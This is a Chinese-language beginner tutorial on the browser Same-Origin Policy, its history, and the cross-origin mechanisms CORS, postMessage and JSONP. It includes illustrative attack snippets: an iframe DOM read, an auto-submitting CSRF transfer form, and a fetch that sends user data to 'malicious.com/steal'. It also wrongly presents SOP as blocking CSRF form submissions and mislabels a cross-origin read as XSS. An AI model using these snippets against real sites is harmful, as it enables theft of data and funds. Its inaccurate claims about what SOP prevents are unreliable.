從零理解 Same-Origin Policy:瀏覽器安全的第一道防線
更新日期: 2025 年 3 月 4 日
本文為 資安入門 系列文,第 11 篇
- OWASP Top 10:最新的 Web 安全風險與防範措施(2021 版)
- MD5 加密演算法是什麼?
- SHA-1 是什麼?為什麼不再安全?
- 深入解析 Session:從概念到運作方式
- 什麼是 Session Fixation(會話固定攻擊)?
- HTTP 與 HTTPS 的差別:新手完整指南
- 跨站請求偽造(CSRF)入門指南:攻擊原理、實例與防禦方法
- 跨站指令碼攻擊(XSS)入門指南:從原理到防禦的全解析
- SQL 注入攻擊全解析:從入門到防禦實戰指南
- 新手指南:深入了解 Content-Security-Policy (CSP) 與網站安全
- 從零理解 Same-Origin Policy:瀏覽器安全的第一道防線 👈所在位置
- 跨來源資源共享(CORS)完整指南:打破瀏覽器的安全邊界
當你在瀏覽器中登入銀行網站時,有沒有想過「為什麼其他網頁無法偷看我的帳戶資料?」
這背後關鍵就是 Same-Origin Policy(同源政策)。
作為現代網路安全的基石,這項機制默默守護著每個使用者的隱私。
本文將以新手視角,帶您理解這個政策的設計原理、運作方式與歷史演進。
網路安全的黑暗時代:SOP 誕生的背景
在 1995 年之前,瀏覽器沒有任何機制來阻止不同網站之間的 JavaScript 存取彼此的數據。
這導致了一系列嚴重的安全問題,例如:
- 網站可以隨意讀取其他網站的 DOM(文件物件模型),例如讀取銀行帳戶餘額、信用卡號等敏感資訊。
- 第三方 Cookie 無限制存取,攻擊者可以盜用用戶的身份驗證 Cookie 來冒充用戶登入。
- JavaScript 可以自由跨站發送請求,攻擊者能透過用戶的瀏覽器發送惡意請求,執行未經授權的操作。
這些安全漏洞為網路犯罪提供了巨大的便利,導致無數用戶的個資被盜,甚至財務損失。
經典攻擊案例:跨站讀取銀行帳戶資訊
假設你已登入銀行網站(https://bank.com
),並在該網站上查詢帳戶餘額。
然而,你也不小心打開了一個惡意網站(https://malicious.com
),該網站可以利用 JavaScript 嵌入銀行網站的頁面,然後竊取你的帳戶資訊:
<!-- 惡意網站嵌入的程式碼 -->
<iframe src="https://bank.com"></iframe>
<script>
// 直接存取銀行網站的 DOM,讀取帳戶餘額
const balance = window.frames[0].document.getElementById('account-balance').innerText;
alert('你的帳戶餘額是:' + balance);
</script>
這樣一來,攻擊者就能透過你的瀏覽器存取銀行網站,讀取你的帳戶資訊,甚至發送未經授權的交易請求,導致財務損失。
由於這類攻擊越來越猖獗,網路安全專家開始尋找更有效的解決方案,最終催生了「同源政策」。
同源政策想解決什麼問題?
在 SOP 出現之前,惡意網站可以輕易利用 JavaScript 存取其他網站的數據,主要涉及以下兩大類攻擊:
跨站請求偽造(CSRF, Cross-Site Request Forgery)
攻擊方式:
假設用戶已經登入銀行網站 https://bank.com
,且銀行網站使用 Cookie 來維持用戶的登入狀態。
在 SOP 之前,惡意網站 https://malicious.com
可能會偷偷嵌入一個惡意表單,並讓它自動提交:
<!-- 惡意網站的攻擊程式碼 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker_account">
<input type="hidden" name="amount" value="1000">
<input type="submit">
</form>
<script>
document.forms[0].submit(); // 自動提交轉帳請求
</script>
攻擊結果:
由於請求會自動攜帶用戶儲存在瀏覽器內的 Cookie(其中包含身份驗證資訊),銀行伺服器會誤以為這是用戶自己發起的請求,導致資金被悄悄轉移到攻擊者的帳戶。
跨站指令碼攻擊(XSS, Cross-Site Scripting)
攻擊方式:
如果 JavaScript 能夠自由存取不同來源的數據,惡意網站 https://malicious.com
就可以透過 JavaScript 讀取用戶的 Cookie、LocalStorage 或 SessionStorage,並將其發送給攻擊者。
例如:
// 惡意網站竊取用戶數據並發送到攻擊者的伺服器
fetch('https://bank.com/userdata')
.then(response => response.json())
.then(data => {
fetch('https://malicious.com/steal?data=' + encodeURIComponent(JSON.stringify(data)));
});
攻擊結果:
攻擊者可以獲取受害者的個人資料、Session ID 或登入憑證,並用這些資訊來盜用帳戶、轉移資金,甚至完全控制用戶的身份。
同源政策的誕生
1995 年,Netscape Navigator 2.0 首次引入「同源政策」(Same-Origin Policy, SOP)這一概念,作為瀏覽器內建的安全機制,旨在防止惡意網站未經授權地存取其他網站的敏感資訊。
同源政策的核心原則是:
只有同源的網頁才能互相存取 DOM、Cookie、LocalStorage、SessionStorage 和發送 AJAX 請求,而跨源請求則會被瀏覽器阻擋,除非特定允許。
什麼是「同源」?
在 SOP 的規範下,「來源(Origin)」由以下三個要素決定:
要素 | 範例 1 | 範例 2 | 是否同源 |
---|---|---|---|
協議(Protocol) | https:// | http:// | ❌(不同協議) |
網域(Domain) | example.com | api.example.com | ❌(子網域不同) |
端口(Port) | :443(HTTPS 預設) | :8080 | ❌(端口不同) |
只有當這三個要素完全一致時,兩個網址才被視為「同源」。
實測練習
在 https://www.example.com/page
上執行以下 JavaScript 代碼,檢查當前網域:
console.log(document.domain); // 輸出 "www.example.com"
如果你嘗試存取 api.example.com
的 DOM 資料,則會被 SOP 阻擋。
分級管控機制
同源政策並非一刀切地完全禁止跨源存取,而是根據不同操作類型,施加不同程度的限制:
操作類型 | 同源許可 | 跨源限制 |
---|---|---|
DOM 存取 | ✅ 完全訪問 | ❌ 完全禁止 |
Cookie / LocalStorage | ✅ 讀寫 | ❌ 禁止訪問 |
AJAX 請求(Fetch、XMLHttpRequest) | ✅ 自由發送 | ❌ 預設攔截(需 CORS) |
資源載入(圖片、CSS、JS) | ⚠️ 部分允許 | ✅ 可載入,但無法讀取內容 |
重點:
- 完全禁止跨源存取 DOM、Cookie、LocalStorage。
- 預設禁止跨源 AJAX 請求,但可透過 CORS 解決。
- 圖片、CSS、JS 允許跨域載入,但 JavaScript 無法存取它們的內容(如跨域圖片的像素數據)。
現代跨源解決方案
雖然 SOP 能有效防止跨站攻擊,但有時我們確實需要跨來源存取資源,例如前端向 API 伺服器請求數據。
因此,瀏覽器提供了一些標準化的跨域解決方案來安全地實現這些需求。
CORS(Cross-Origin Resource Sharing,跨來源資源共享)
CORS 是最常見的跨域解決方案,透過 HTTP Access-Control-Allow-Origin
標頭來明確指定允許哪些來源存取該資源。
例如:
伺服器回應標頭:
Access-Control-Allow-Origin: https://example.com
這表示 https://example.com
的網頁可以合法請求此資源,而其他來源則會被瀏覽器攔截。
如果想開放給所有來源:
Access-Control-Allow-Origin: *
但這樣做可能會增加安全風險。
postMessage()
(安全的跨文件通訊)
當需要在不同來源的頁面之間安全傳遞數據時,可使用 window.postMessage()
來進行跨域通訊。例如:
// 來自 example.com 的發送端
const targetWindow = document.getElementById("iframe").contentWindow;
targetWindow.postMessage("Hello from example.com!", "https://api.example.com");
// 來自 api.example.com 的接收端
window.addEventListener("message", (event) => {
if (event.origin !== "https://example.com") return; // 安全性檢查
console.log("收到訊息:", event.data);
});
JSONP(JSON with Padding,傳統跨域請求方法)
在 CORS 尚未普及前,開發者利用 <script>
標籤來載入外部 JavaScript 來達成跨域請求,例如:
<script src="https://api.example.com/data?callback=handleData"></script>
伺服器回應:
handleData({ name: "Alice", age: 25 });
這種方式雖然能解決跨域問題,但存在安全風險,容易被 XSS 攻擊利用,因此現代開發中較少使用。
結論
同源政策(SOP)是網頁安全的基石,透過限制不同來源的網頁互動,有效防止惡意網站竊取用戶資訊、發送未授權請求,並避免 CSRF、XSS 等攻擊。
然而,在某些場景下,跨域訪問是不可避免的,因此現代瀏覽器提供了 CORS、postMessage()
、JSONP 等安全機制來允許合法的跨源存取。
對於開發者來說,理解 SOP 的作用與限制,並正確使用 CORS 或 postMessage()
,可以讓網站既安全又能靈活與其他服務互動。